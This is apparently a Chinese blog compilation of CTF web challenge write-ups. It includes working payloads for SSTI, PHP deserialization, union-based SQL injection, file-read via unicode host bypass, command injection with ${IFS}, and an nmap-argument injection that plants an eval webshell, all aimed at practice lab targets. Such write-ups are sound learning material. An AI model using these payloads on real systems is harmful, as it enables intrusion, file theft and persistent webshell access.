说实在,这是最难过的关口。具体参考这个大哥的博客:大佬
具体的讲,就是传入的参数名和参数值会作为正则表达式的匹配项和被匹配字符串。如果能被匹配到就能实现eval执行 |
[GXYCTF2019]禁止套娃
原始信息
就这么一句话一个网站,没其他了。
flag在哪里呢? |
解题
这还犹豫什么?扫!
[200][application/octet-stream][137.00b] http://e5bf36bb-762c-4779-8c8d-e50d3cf70de6.node4.buuoj.cn:81/.git/index |
git源码泄露,找个工具把源码抓出来。
# 工具仅仅抓出个index的原码 |
这题目的过滤很明显,除了要求没有关键字外,就是要求必须全部是函数方法名,必须是a(b())的形式。
根据之前的做题经验,从php自带函数中取出”.”,再取当前文件列表,最后读取文件信息就O了。
?exp=var_dump(scandir(pos(localeconv()))); |
[NCTF2019]Fake XML cookbook
原始信息
# 原始也就一个登录框 |
解题
XML格式,XXE漏洞
"1.0" encoding="utf-8" xml version= |
测试存在,尝试直接取flag
"1.0" encoding="utf-8" xml version= |
[BJDCTF2020]Mark loves cat
原始信息
一个网站,一个URL,目录扫描扫出.git配置文件。 |
解题
解题:
# 根据.git下载到源码后,发现了两个文件:index.php flag.php |
理解是挺好理解的,但是……一个变量接收后转化为另外一个变量并且赋值为那个变量的值,有点繁琐。
说人话,你传什么变量,变量在后台里面的名字由你来定。
这题实在是太绕了……
# 白盒分析 |
构造payload:
get: |
[WUSTCTF2020]朴实无华
原始信息
1.扫目录发现个:robots.txt |
源代码在浏览器出现乱码,但可以在F12查数据包的地方看到不乱码的源码:
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/fl4g.php:2) in /var/www/html/fl4g.php on line 3 |
解题
取出核心代码进行分析:
if (isset($_GET['get_flag'])){ |
想要执行到最后的一步system,必须满足前面的各个条件:
绕过1
//level 1 |
绕过2
//level 2 |
需要绕过弱类型比较,根据0e开头的字符串弱类型比较时完全相等这点,写一个脚本:
# coding=utf8 |
抛出对应的对比值后写到参数当中。
最后测试
get: |
找到flag文件后,使用${IFS}
占位并输出flag,绕过空格过滤和cat过滤
get: |
NSSCTF二周年 php签到
原始信息
|
解题
先进行源码分析
function waf($filename) |
这里重要的绕过点是waf函数,既要让waf检测不出来,又要在上传文件的时候把一句话木马上传上去,怎么写文件名才是正确的呢?
首先你得幽一个表单
|
传完截去数据包如下:
POST /index.php HTTP/1.1 |
这里因为文件名有一次URL解码,属于是必须自己加一层URL编码的形式。
上传完成后,在网页读取Linux命令行执行的内容
URL: view-source:http://node6.anna.nssctf.cn:28501/bb.php |
收获
除去找文件得到flag,还要查变量得到flag
[BJDCTF2020]Cookie is so stable
原始信息
这次,不扫站都能看到几个重要的页面:index.php和flag.php
这次的源码信息主要以下面为主
// 随便输入个ID时,它会从cookie传参,并且在前端页面当中显示出来 |
cookie后面的 user=kiti 正是我们前面所输入的用户ID。
回显到前端页面是:
<label><h2>Hello kiti</h2></label> |
解题
解题的关键点在于Cooke的那个user传参上。遇到这种情况,先试试有没有模板漏洞。
模板漏洞测试有如下流程:
这个模板,可以适用于Python模板漏洞。
${7*7} |==>a{*comment*}b=|=>Smarty |
实验了下,符合Twig模板,网上找找相关的漏洞,这里是参考文章
从文章中找到此利用,尝试下:
# 调用ls进行目录查询 |
高明的黑客
原始信息
首先,题目提示了下某个压缩包 |
解题
这里就套下别人的脚本了。点我前往博客资源
import os |
有一点要注意的是:线程数过多可能会超时。
[安洵杯 2019]easy_serialize_php
原始信息
题意就是容易的序列化php。
|
解题
// 获取函数名 |
整体看着太杂了,揪出关键源码:
if($function == 'highlight_file'){ |
phpinfo唯一能给出的有用信息,就是:d0g3_f1ag.php
我们需要的是从这个文件当中读取信息。
说实在,这里我看懵圈了。
现在的问题是,如何读取文件内容?
按照大佬的思路反序列化
// 读取的核心是利用这个去读取 |
简化:
// post传入session参数 |
尝试传参:
POST: |
总结
结合之前的SQL注入来看,这里透露了注入的核心思想:
1.千方百计插入数据或者查询
2.千方百计替换掉数据或者查询
3.千方百计挤掉正常数据,插入异常数据或者查询
[MRCTF2020]Ezpop
没见过的新题目,pop反序列化。
原始信息
Welcome to index.php |
解题
源码分析
Welcome to index.php |
本题方向:反序列化魔术方法
|
第一感觉:找出能用的类反序列化得到flag。但是仔细看下来,这是需要类和类之间反复调用的哇。
从基本的魔术方法反序列化调用,直接变成了反序列化调用多个类。
下面是某个大佬的wp,点击我跳转
|
这个wp利用了魔术方法创建即调用的特性不断的调用新类,最后利用输出函数输出了wp
还是有些晦涩,后面需要几次复盘。
[MRCTF2020]PYWebsite
原始信息
网页发现一个js
function enc(code){ |
里面有一个flag,尝试访问
<html> |
解题
访问flag.php,发现图片扫不出什么,以及放到linux上没什么反应,暂时放弃。
GET /flag.php HTTP/1.1 |
带了Referer,“我已经把购买者的IP保存了”,猜测可能是xff
GET /flag.php HTTP/1.1 |
得到flag
// XFF漏洞 |
[ASIS 2019]Unicorn shop
原始信息
首先得到一个买独角兽的页面,页面的内容是:
Item ID Price English Spanish German Russian |
解题
做了下基本的测试,尝试以原来的单价购买,会传来这样的东西:
尝试购买前三个商品: |
[WesternCTF2018]shrine
原始信息
开头即碰到源码
import flask |
这种情况分三种:
- nc连接该站点
- python逆向
- 框架漏洞
解题
先分析源码
import flask |
得到一个特殊的路由
/shrine/<path:shrine> |
尝试对路由进行模板注入
get:http://xxx.xxxx.com:80/shrine/{{8*9}} |
注入点有了,根据代码分析来看,有限制条件:
1.括号替换为空 |
现在,使用非括号的方式获取flag
http://xxx.xxx.xxx:81/shrine/{{url_for.__globals__['current_app'].config}} |
这题的大佬参照点我
[网鼎杯 2020 朱雀组]Nmap
原始信息
原始信息如下:
index页面:flag is in /flag
|
list页面
|
result展示页面:
|
解题
考点
选项 解释 |
这是一道nmap考察题,考察对nmap的使用。
# 测试的重点:尝试插入木马,读取文件信息 |
参考WP:点我
参考NMAP介绍:点我
相对正确的nmap中文翻译参照:点我
[CISCN2019 华东南赛区]Web11
原始信息
原始信息其实就一个页面,很多人说底部有个链接可以点击,但是我可没有看到。
测试的时候是在BP当中看到的模板漏洞。
页面hackbar工具做不到这点,因为它会转义为url再发送信息。
下面是index页面
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> |
访问url/api/和url/xxf/都会访问到一个IP地址,没发现有什么大用处
尝试下面访问的时候,出现了我们需要的东西:
访问:http://xxx.xxx.xxx.com/123 |
任意字符串都能以这种形式返回
解题
既然存在,使用BP测试:
GET /{{1+3}} HTTP/1.1 |
返回包:
# 只保留关键信息 |
下面的数据包都保留关键信息进行展示
再发包
GET /{{var_dump(scandir('/'))}} HTTP/1.1 |
返回
array(20) { |
得到了文件列表,当然是想办法得到文件内容了。
GET /{{file_get_contents('/flag')}} HTTP/1.1 |
返回包:
$flag="flag{cd5e78ea-ede1-4fc7-b3a0-6547bad11b34}"; |
[NPUCTF2020]ReadlezPHP
原始信息
在题目信息当中找到一个链接,跳转后找到对应的php源码信息
|
观察便可看出这是一个反序列化。
解题
对源码进行解析
|
代码的核心在于反序列化那部分,前面的source舍弃即可绕过。
/* |
把反序列化的脚本得到的结果放上去就能得到flag
get:http://xxx.xxx.xxx/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";} |
总结
这个题目的表层代码很容易读懂,但是做题人是看不到内部配置限制了哪些函数,只能自己一点点的慢慢测试,直到测试到自己想要的函数输出对应的flag为止。
[SWPU2019]Web1
原始信息
题目提供的是:用户登录,用户注册,登录后主页展示,展示广告申请 |
解题
申请广告位:
<form class="form-signin" action="#" method="POST"> |
申请后,用户主页会回显一条相关的申请信息,并且可以插入js代码。
广告名 广告内容 状态 详情 |
已经写完的广告申请无法找到SQL注入,试着找写入广告是不是有漏洞:
暂时不管广告内容部分,先测标题。
标题部分: |
没有办法使用information_schema,发现还有其他表如mysql.innodb_table_stats和sys.schema_table_statistics_with_buffer可以看表名、数据库名,就是没有列名。
上面的这段话引自他人博客,information_schema表确实被禁用了,必须找其它方法调用相似的表来处理问题。
title=-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/' |
这里有个问题,列名,这个表没有……
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' |
这整个SQL很难读懂,简单拆分下:
select group_concat(b) from (select 1,2 as b,3 union select * from users)a |
经过上面一通解析,相信再怎么看不懂的人也都看懂了。
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' |
这个和上面差不多,只是换了个输出列而已。as也是写别名的意思。
经过这最后一次,就能得到flag了。
总结
总结的来讲,这道题是在不断的测试注入点,先是用户名密码的注册,后是申请广告的时候的标题和申请内容的注入,最后是申请后id号的注入。
测注入的目的至始至终只有一个,那就是:看看哪些能和数据库查询直接挂钩,只要挂钩,就能尝试注入。
[CISCN 2019 初赛]Love Math
原始信息
|
解题
遇事不决,白盒分析:
|
eval是我们想要利用的点,但怎么做才能绕开诸多限制达到这里是个十分急需解决的问题。
取出看似有用的函数名 |
限制条件
长度80字符
必须使用限定的php函数
传入的参数只有c
白盒审计的三关卡
关卡1
if (strlen($content) >= 80) { |
思路分为两种:
- 尝试使用最短字符串绕过(难)
- 尝试使用特殊的函数进行绕过(方法可行)
关卡2
//限制字符串,黑名单 |
关卡3
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp |
遇到一位十分聪明的大佬,他的解决思路大概是这样子的:
c=$pi=$_GET[a]($_GET[b])&a=system&b=cat /flag |
然后利用进制转换进一步的修饰即可得到flag
c=$pi=_GET;($_GET){pi}($_GET){abs}&pi=system&abs=cat /flag |
核心的利用点是使用get参数代替了函数名和传参值,并且使用了
(){} |
的形式跳过了方括号限制。
总结
学习了36进制转换,以及
利用eval()函数对字符串进行类似于$pi=xxx的赋值操作。 |
[极客大挑战 2019]FinalSQL
原始信息
题目提示的信息很少,差不多:
首先是一个网站5个按钮,一个账户登录,分别是如下的url: |
解题
解题前,先记下返回的值:
#下面全是针对search.php的: |
根据上面的回显的字符串,我们尝试做下异或注入,也称作布尔注入,布尔盲注。
# 大括号的意思是包含了某个值,大括号的具体内容看下面脚本就行了 |
下面是具体的脚本:
# coding=utf-8 |
下面是爆破的结果,十分的长。
满打满算,也就跑了快一个小时吧。
数据库名字的长度: 4 |
那么,为什么放这么长的回显呢?
当然是怕你寂寞啦╮( ̄▽  ̄)╭
继续刷题学习。
[BSidesCF 2019]Kookie
原始信息
题目提示的单词和cookie有些相似,应该是cookie有利用点。
#! /usr/bin/env python |
提供的源码很长,是一个Python搭建的flask站点。
解题
尝试对源码进行分析:
#! /usr/bin/env python |
这么来看的话,传参的函数处理有两个:
- 一个是负责将输入的字符串md5编码后转换为十六进制字符串输出到前端
- 一个是传入网址,查看网址的协议是不是敏感协议gopher和file,不是则尝试调用类来处理。
这里大概梳理下第二种方法的流程:
# 上面梳理了一点,这里稍微做点补充整合 |
两种URL访问方式清晰了,那么传入的参数呢?
分析下我们要传入什么。我们要读取的是flag.txt,而读取的方式分为下面两种:
# 写入文件的的if部分,条件是scan在action当中 |
现在确定了第一个参数action,接下来确认第二个参数param:
想要进入这两个if判断实现文件的读写,首先得满足最顶层的那个if判断
# if self.checkSign():的解读如下 |
这么一来,flag就回显出来了。
总结
鲜少遇到的flask源码审计,审计时还很难察觉到读取文件的函数是哪个的那种。不得不承认昨天虽然精神状态很糟糕,但还是把源码解析出来了。这里我意识到了一个一直以来被我忽略的东西:当前文件目录下的文件哪怕是Python,也能实现任意文件的读取,而且是在调用flask时,当作网络存储资源进使用。
这次不知道是不是大收获,知道了一些Python除开Open函数的读取函数。
这里的WAF把某些协议禁用了,让我往协议那方面靠,属于是掉坑里了……
[BJDCTF2020]EasySearch
原始信息
一个登录框,单从源码上看,没什么信息。
|
这个页面能提供的信息太有限了,最多就剥离出一个表单提交用到的username和password。
尝试直接扫站:
# 扫站的工具是dirmap,使用dirsearch也行,如果有字典,使用BP也能扫。 |
打开index.php.swp得到源码:
|
源码当中存在许多莫名其妙的***,可能是其他源码,这不是重点。
解题
html源码没什么可读性,主要关注php源码。
稍微整理下,进行源码分析:
|
如果我想读取flag,或者文件目录,应该从哪下手?
第一个需要跨越的障碍:md5字符串的截取问题
$admin == substr(md5($_POST['password']), 0, 6) |
第二个需要跨越的障碍: 路径文件是否存在的问题
$file_shtml = "public/" . get_hash() . ".shtml"; |
仔细一想,第一个障碍可以尝试自己生成来解决,而第二个,则可以尝试历史生成解决。但是么……有一个非常重要的条件,就是你的password经过认证后就会回显它的URL路径信息了哇……
也就是说,这第二个障碍压根不存在……
# coding=utf-8 |
得到对应的数字后,可以试试成功与否
POST /index.php HTTP/1.1 |
悠着点哦,password的数字后面是没有任何字符串的。之前做的时候以为是用来标识为utf8编码的,后来试了几十次才发现那根本就是故意匡我的。数字后面根本不需要什么标识符。可能是我个人手误吧。
#下面是返回包的内容 |
返回包不仅给出了你需要的URL,甚至还回显了用户名。用户名是一个回显点,也是一个注点。但要怎么注呢?
说实在,给出下面这个路径给我们访问我是真的没想到。
为了解读源码,那时间浪费的有点严重哇……
public/89477d6c1ea3d94cd236804def18384a1d4a0ac3.shtml |
网上查了下相关的shtml的资料,得到的是下面这些:
这里摘录下SSI语法:(具体的摘录来源点我)
SSI语法 |
尝试进行命令执行:
# 下面是登录和访问的组合,且只截取关键信息: |
总结
学习了什么是shtml,以及对应的SSI注入。
C站找资源,有的不起眼的搜索列表下下下面的文章,或许就是小白眼中最宝贵的宝藏。因为有些博文永远简短,最适合的是大佬,并不是想要学习的小白想见到的。
[BSidesCF 2019]Kookie
原始信息
<h1>Can you log in?</h1> |
解题
1.尝试弱口令爆破,无法爆破。
2.根据cookie提示,思考构造cookie假身份认证的方法:
Cookie: username=admin |
[SUCTF 2019]Pythonginx
原始信息
题目信息拆解:Python,nginx
一个ping框,一个python源码:
<!DOCTYPE html> |
看懂了,但又不完全看懂。
解题
NGINX相关配置文件位置
配置文件存放目录: /etc/nginx |
取出Python源码:
|
根据上面进行分析,原理大概可以说是:
#三个判断式:host == 'suctf.cc' |
网络上找到的idna这个编码的介绍:
原理 |
从表面观察看,是将某些字符编码转字符。具体怎么解决呢?
其实这里思路已经很明显了。
# 上面的python函数实现是这样子的: |
这就是攻击点。第一次接触,经验不足,知道坑在哪也不知道怎么解决。
既然思路有了,怎么写爆破脚本呢?
写脚本的思路大概是这样子的: |
源码改装也就是该几个输出和传入而已。
#写脚本前的补充说明: |
爆破脚本:
from urllib import parse |
攻击的脚本最好放在cmd跑,放在Pycharm跑,能出的字符绝对比cmd少一半。
下面这个是cmd的结果:
file://suctf.cℂ |
接下来构造下访问的那个url:
url=file://suctf.cⓒ |
寻常直接访问是没什么问题的,可以尝试url再访问,这是一种方法。
或者可以选择直接在URL框输入你的字符串,有一定的成功概率。
也不知道出了上什么原因,转url格式放bp和直接放url总是失败,不编译放url框反倒没问题,具体原因不晓得。
url='file://suctf.cⓒ'; |
访问时返回这个就证明你绕过那三层代码了。
Internal Server Error |
这个时候需要的是再注意下绕过后代码的功能点是什么:
urllib.request.urlopen(finalUrl).read() |
为了方便测试,稍微改下脚本:
$a = '../../../../..//etc/passwd'; # 这个地方就是我们要注入的内容 |
下面是测试环节:
get:?url=file://suctf.cⓒ/../../../../..//etc/passwd |
[GYCTF2020]FlaskApp
原始信息
两个框框,一个输入的是加密为base64字符串,一个输入解密base64字符串,一个提示为pin |
解题
解题记住一点,有输入输出,就一定要尝试任何方法进行输入注入和回显(血的教训,大佬终究是太高明了……)
为了方便解题,这里先写一个脚本进行协助。具体原理:
原则上来说,将每个表单发送的和接收的方式记住了,就能模拟浏览器访问,省去我们繁琐的解题步骤。看了很多篇大佬写的文章,或许对他们了解的人来说这不是什么痛点,但对小白来说是挺痛的……
下面的脚本主要是模拟了数据的收发,只需要输入想要注入的数据,脚本会自动省去手动使用解密页面的解密框框直接解密,以及将双层html实体解密为单层。
import request,html |
上面的token1和token2一般是不用改的,如果题目有变动改下即可。cmd是我们手动输入的命令,或者注入模板。
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}} |
上面是大佬的两个注入模板,这里就一步步拆解下:
下面全属于使用脚本测试的内容
获取基类:
请输入注入语句:{{().__class__}} |
获取基类元组:
请输入注入语句:{{().__class__.__bases__}} |
获取当前类所有子类的列表:
请输入注入语句:{{().__class__.__bases__[0].__subclasses__()}} |
调用内置类,查出来是并发锁类,再调用初始化方法:
请输入注入语句:{{().__class__.__bases__[0].__subclasses__()[75]}} |
调用全局进行访问函数所在的全局命名空间
请输入注入语句:{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__}} |
__builtins__
是 Python 中内置命名空间的一个引用,它是一个字典,包含了 Python 解释器启动时默认加载的一些内置函数、类型和模块。调用这个模块进行函数执行:
请输入注入语句:{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('app.py').read()}} |
当前页面的文件可以使用报错进行查看。报错的方法:在解密base64页面进行随意的输入并且解密即可获得部分泄露的调试信息(debug)。
下面是获取的完整源码:
from flask import Flask,render_template_string |
上面存在一个过滤:
["flag","os","system","popen","import","eval","chr","request", |
导入os对文件的目录进行读取
请输入注入语句:{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').listdir('/')}} |
使用open读取文件内容:
请输入注入语句:{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('txt.galf_eht_si_siht/'[::-1]).read()}} |
总算是解决了。(小菜鸡狂喜`(∩_∩)′)
还有部分另类的解决方案,核心还是在于调用函数读取。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %} |
参考博客:bfenji
总结
思想: |
[BUUCTF 2018]Online Tool
原始信息
|
解题
nmap脚本命令
构造' <?= @eval($_POST["hack"]);?> -oG hack.php ' |
返回
you are in sandbox 17cd0e9678e131100db4731a9b4d80faStarting Nmap 7.70 ( https://nmap.org ) at 2023-09-24 01:26 UTC |
菜刀连接
http://xxx.xxx.cn:81/17cd0e9678e131100db4731a9b4d80fa/hack.php |
[极客大挑战 2019]RCE ME
原始信息
|
解题
题目锁死了注入的字母数字,说明是要用到无字母数字的php命令执行。
这里先贴出一个宝藏博客参考
原本想使用异或绕过限制的,但是异或注入实在是太长了。。。。
这里使用取反绕过。
取反的方法如下:
#本地的php当中使用如下操作获得取反字符串 |
因为考虑到被禁用的函数特别多,果断采取参数逃逸搭配蚁剑的形式对靶场进行渗透
#参数逃逸的方法 |
这个师傅比较详细,可以去看看:点我去看大佬博客